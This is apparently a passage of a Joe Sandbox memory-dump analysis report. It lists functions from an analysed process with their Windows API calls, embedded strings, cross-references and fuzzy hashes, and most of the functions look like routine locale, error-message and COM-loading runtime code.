Instruction ID: 18aff27ba3743db6a78e03715d7cd98376cd24fbc11cbb677c50e9bc12903d73
Opcode Fuzzy Hash: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
Instruction Fuzzy Hash: A73175B1E4061C2EEB27D6B49C45FDF77AD5B483C4F4409E19608E6181DAB59B448F90

Function 02C37F5A Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 02C37F7D

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 60a0a3317bc6745db68fd0609a05e035b6386226a90ab679635ab5dbfaeb8164
Instruction ID: be1162ad70d05aeffa53843912ac61d50f429e3aa98824f0eb6888e549830ee2
Opcode Fuzzy Hash: 60a0a3317bc6745db68fd0609a05e035b6386226a90ab679635ab5dbfaeb8164
Instruction Fuzzy Hash: 7B1100B5A00209AF9B45CF99C8809AFF7F9EFCC304B14C569A508EB254E6319A018B90

Function 02C3A74C Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02C3A76A

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 2128b34291823b7b3d39fc22196f9eeb1ad11300c5a3118c73b07de52b1b2571
Instruction ID: 701bb2006f4be330538aad2cbe770005720bcfe37d69d1d8c2f80f538844e828
Opcode Fuzzy Hash: 2128b34291823b7b3d39fc22196f9eeb1ad11300c5a3118c73b07de52b1b2571
Instruction Fuzzy Hash: CAE0D836B0021417D32AA5585C81DF6736D975D350F00457EFD45C7340EEB09E504AE9

Function 02C3B714 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,02C5C106,00000000,02C5C11E), ref: 02C3B722

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 9771e481a7a12c1b394b7d01eaa127ad4498f2439e35468054a4d544600864ba
Instruction ID: b0c020ed1ad7d87273d7693bdbfaac2e3a19eaed013e9fc8b35982966ff94a33
Opcode Fuzzy Hash: 9771e481a7a12c1b394b7d01eaa127ad4498f2439e35468054a4d544600864ba
Instruction Fuzzy Hash: 29F067749043118FC340DF28E140B1577E0FB89780F004E29E89AD7394E734C894CF22

Function 02C3A798 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,02C3BDFA,00000000,02C3C013,?,?,00000000,00000000), ref: 02C3A7AB

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 23fe133b6f3189abf78f0258856cb74c0ef8cfe774ed9d6b2b97d20fe01198e3
Instruction ID: 0106d5c7b4377c791a55646fa71b5cf6641cfa73fcb163b8b4065e6a6e4ab849
Opcode Fuzzy Hash: 23fe133b6f3189abf78f0258856cb74c0ef8cfe774ed9d6b2b97d20fe01198e3
Instruction Fuzzy Hash: 8ED05EA630E2603AA221515B2D94D7B5AECCACA7A1F10883EF588C6200D2108C0696F5

Function 02C39194 Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 02C39198

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: b1eecd68d2e37ad01dc8be627e7f9539d8c1b79e2157fe00e2d627bfaf393da5
Instruction ID: 6a3f0b49b3756694bb45afe7565b9605cf0478c1eddf758dcc0d2d86d12d190e
Opcode Fuzzy Hash: b1eecd68d2e37ad01dc8be627e7f9539d8c1b79e2157fe00e2d627bfaf393da5
Instruction Fuzzy Hash: C0A01200404C2011854037190C0213530545800620FD40F4068F8402D0ED2D012050D7

Function 02C320C4 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290

Function 02C3D21C Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 02C3D225

Part of subcall function 02C3D1F0: GetProcAddress.KERNEL32(00000000), ref: 02C3D209

Strings

VarDiv, xrefs: 02C3D2B7
VarR8FromStr, xrefs: 02C3D37D
VarCmp, xrefs: 02C3D33B
VarR4FromStr, xrefs: 02C3D367
VarXor, xrefs: 02C3D325
VarBstrFromCy, xrefs: 02C3D3D5
VarSub, xrefs: 02C3D28B
oleaut32.dll, xrefs: 02C3D220
VarDateFromStr, xrefs: 02C3D393
VarAnd, xrefs: 02C3D2F9
VarCyFromStr, xrefs: 02C3D3A9
VarMod, xrefs: 02C3D2E3
VarI4FromStr, xrefs: 02C3D351
VarBoolFromStr, xrefs: 02C3D3BF
VariantChangeTypeEx, xrefs: 02C3D233
VarNeg, xrefs: 02C3D249
VarOr, xrefs: 02C3D30F
VarAdd, xrefs: 02C3D275
VarBstrFromBool, xrefs: 02C3D401
VarBstrFromDate, xrefs: 02C3D3EB
VarMul, xrefs: 02C3D2A1
VarNot, xrefs: 02C3D25F
VarIdiv, xrefs: 02C3D2CD

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: df1780d8f233bd0e2375a19f1fbfee2bda45ab606748063b2b77e621913492bd
Instruction ID: c24f663985a5dc77e2bf1794ed6d0e58acae5d214342ba88c32febb08589afa5
Opcode Fuzzy Hash: df1780d8f233bd0e2375a19f1fbfee2bda45ab606748063b2b77e621913492bd
Instruction Fuzzy Hash: CA4185E2A842451B560BBB6DB80562B77DED7887303604E1BF00BDB741DE70BC619E2E

Function 02C46E60 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ole32.dll), ref: 02C46E66
GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 02C46E77
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 02C46E87
GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 02C46E97
GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 02C46EA7
GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 02C46EB7
GetProcAddress.KERNEL32 ref: 02C46EC7

Strings

CoReleaseServerProcess, xrefs: 02C46EA1
CoAddRefServerProcess, xrefs: 02C46E91
CoInitializeEx, xrefs: 02C46E81
ole32.dll, xrefs: 02C46E61
CoSuspendClassObjects, xrefs: 02C46EC1
CoCreateInstanceEx, xrefs: 02C46E71
CoResumeClassObjects, xrefs: 02C46EB1

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
API String ID: 667068680-2233174745
Opcode ID: 56ef41d53e155f5adbd5fbfc0f923600398b86faf0ea1236fbdecf517f937905
Instruction ID: 34d061422730ae6157ac254c0fb5cf384a844038c092ce172a686a146096bc8d
Opcode Fuzzy Hash: 56ef41d53e155f5adbd5fbfc0f923600398b86faf0ea1236fbdecf517f937905
Instruction Fuzzy Hash: E5F050F0AC97617EB7027F709C81A2727ADD5126843301F75744375906DEB5C8905F58

Function 02C32530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 02C328CE

Strings

, xrefs: 02C32814
The sizes of unexpected leaked medium and large blocks are: , xrefs: 02C32849
Unexpected Memory Leak, xrefs: 02C328C0
An unexpected memory leak has occurred. , xrefs: 02C32690
Unknown, xrefs: 02C3278C
7, xrefs: 02C326A1
bytes: , xrefs: 02C3275D
String, xrefs: 02C327A1
The unexpected small block leaks are:, xrefs: 02C32707

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: Message
String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
API String ID: 2030045667-32948583
Opcode ID: a5dee624524b3f5d99dcc2d844bc33b2797caee168042d78904afab0fa4ff3a9
Instruction ID: e573db63e52b7b03b177eb9d1b60ac012df56a1abb4cd1c64146d4a077aef95c
Opcode Fuzzy Hash: a5dee624524b3f5d99dcc2d844bc33b2797caee168042d78904afab0fa4ff3a9
Instruction Fuzzy Hash: 27A1F571A043648BDF22AA2CCC84BD8B7E5EF49710F1448E5DD49AB285CB758EC5CF52

Function 02C3252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

, xrefs: 02C32814
The sizes of unexpected leaked medium and large blocks are: , xrefs: 02C32849
Unexpected Memory Leak, xrefs: 02C328C0
An unexpected memory leak has occurred. , xrefs: 02C32690
7, xrefs: 02C326A1
bytes: , xrefs: 02C3275D
The unexpected small block leaks are:, xrefs: 02C32707

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID:
String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
API String ID: 0-2723507874
Opcode ID: 157947c73daba52892748dd5605d20d75a43c68aab7666b1a85317f765978836
Instruction ID: e22bf5e7b982656a3e23495aa1217416575ae53db824be097956c6ac1be365e3
Opcode Fuzzy Hash: 157947c73daba52892748dd5605d20d75a43c68aab7666b1a85317f765978836
Instruction Fuzzy Hash: 9F71B270A042A88EDF22AA2CCC84BD8BAE5EF49714F1049E5D949DB281DB754EC5CF52

Function 02C3BD48 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,02C3C013,?,?,00000000,00000000), ref: 02C3BD7E

Part of subcall function 02C3A74C: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02C3A76A

Strings

m/d/yy, xrefs: 02C3BE4D
:mm:ss, xrefs: 02C3BFCE
:mm, xrefs: 02C3BFB1
AMPM, xrefs: 02C3BF92
mmmm d, yyyy, xrefs: 02C3BE7A
AMPM , xrefs: 02C3BFA1

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: 861ad22df59363ef884cbac07851a77428a2f54de1a1e74c3168a57167e75e7a
Instruction ID: 8c1e94507107cfbf273ab92916c6f7d5518f2e9ad493569cc09aa237c3a99e82
Opcode Fuzzy Hash: 861ad22df59363ef884cbac07851a77428a2f54de1a1e74c3168a57167e75e7a
Instruction Fuzzy Hash: 6C615075B001489BDB06EBA8D890ADF77BB9F89300F509C36E101EB345CA35DE19AF95

Function 02C4AE20 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 02C4AE40
GetModuleHandleW.KERNEL32(KernelBase,LoadLibraryExA,?,00000004,?,00000014), ref: 02C4AE57
IsBadReadPtr.KERNEL32(?,00000004), ref: 02C4AEEB
IsBadReadPtr.KERNEL32(?,00000002), ref: 02C4AEF7
IsBadReadPtr.KERNEL32(?,00000014), ref: 02C4AF0B

Strings

KernelBase, xrefs: 02C4AE52
LoadLibraryExA, xrefs: 02C4AE4D

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: Read$HandleModule
String ID: KernelBase$LoadLibraryExA
API String ID: 2226866862-113032527
Opcode ID: 469647effdcb5a4c9c8449ffca4d2cea159ffd91ad4e877a51b1a0cd641daab5
Instruction ID: edf032919297586bd7d717067362e5e6d86901877d21212c8d66a9c233398816
Opcode Fuzzy Hash: 469647effdcb5a4c9c8449ffca4d2cea159ffd91ad4e877a51b1a0cd641daab5
Instruction Fuzzy Hash: F731B5B2A80305BBEB20DF69CC85F5B77B8AF05364F104614FA54EB280DB71E950DBA4

Function 02C3432C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02C343F3,?,?,02C907C8,?,?,02C5D7A8,02C3655D,02C5C30D), ref: 02C34365
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02C343F3,?,?,02C907C8,?,?,02C5D7A8,02C3655D,02C5C30D), ref: 02C3436B
GetStdHandle.KERNEL32(000000F5,02C343B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02C343F3,?,?,02C907C8), ref: 02C34380
WriteFile.KERNEL32(00000000,000000F5,02C343B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02C343F3,?,?), ref: 02C34386
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 02C343A4

Strings

Error, xrefs: 02C34398
Runtime error at 00000000, xrefs: 02C3435E, 02C3439D

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 1659e76959190e42adde33f3cd0b3ba92d1046a6daf71c672ba42163ab5080ec
Instruction ID: 4435c255b176517c73a162365a1be197334918b929a7cab39282f228dc3dfcde
Opcode Fuzzy Hash: 1659e76959190e42adde33f3cd0b3ba92d1046a6daf71c672ba42163ab5080ec
Instruction Fuzzy Hash: 43F02B61AC03007DFA26B2606C45FA9335C0780F14F184F14F629A50C5C7E0D0C4EB17

Function 02C3AE4C Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 02C3ACC4: VirtualQuery.KERNEL32(?,?,0000001C), ref: 02C3ACE1
Part of subcall function 02C3ACC4: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02C3AD05
Part of subcall function 02C3ACC4: GetModuleFileNameA.KERNEL32(02C30000,?,00000105), ref: 02C3AD20
Part of subcall function 02C3ACC4: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02C3ADB6

CharToOemA.USER32(?,?), ref: 02C3AE83
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 02C3AEA0
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02C3AEA6
GetStdHandle.KERNEL32(000000F4,02C3AF10,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02C3AEBB
WriteFile.KERNEL32(00000000,000000F4,02C3AF10,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02C3AEC1
LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 02C3AEE3
MessageBoxA.USER32(00000000,?,?,00002010), ref: 02C3AEF9

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: 3cdb1e1079d2ed09eac8617d343a43c52f93f862fe091cbcaa29c48f8dff96f0
Instruction ID: d4233352ff44175dedb5bd16903c4da48ec38e41c75bf9db6e1bd15e338aeb36
Opcode Fuzzy Hash: 3cdb1e1079d2ed09eac8617d343a43c52f93f862fe091cbcaa29c48f8dff96f0
Instruction Fuzzy Hash: 55117CB25942047AD202FBA4DC80F8B77EDAB49700F904E26B394D60D0DA71E954DF6A

Function 02C3E514 Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02C3E5AD
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02C3E5C9
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 02C3E602
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02C3E67F
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 02C3E698
VariantCopy.OLEAUT32(?,00000000), ref: 02C3E6CD

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction ID: 250173e70cce09fbf4083c1c8e621d2ccd232b5519ad99fd82c00229bccdb71a
Opcode Fuzzy Hash: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
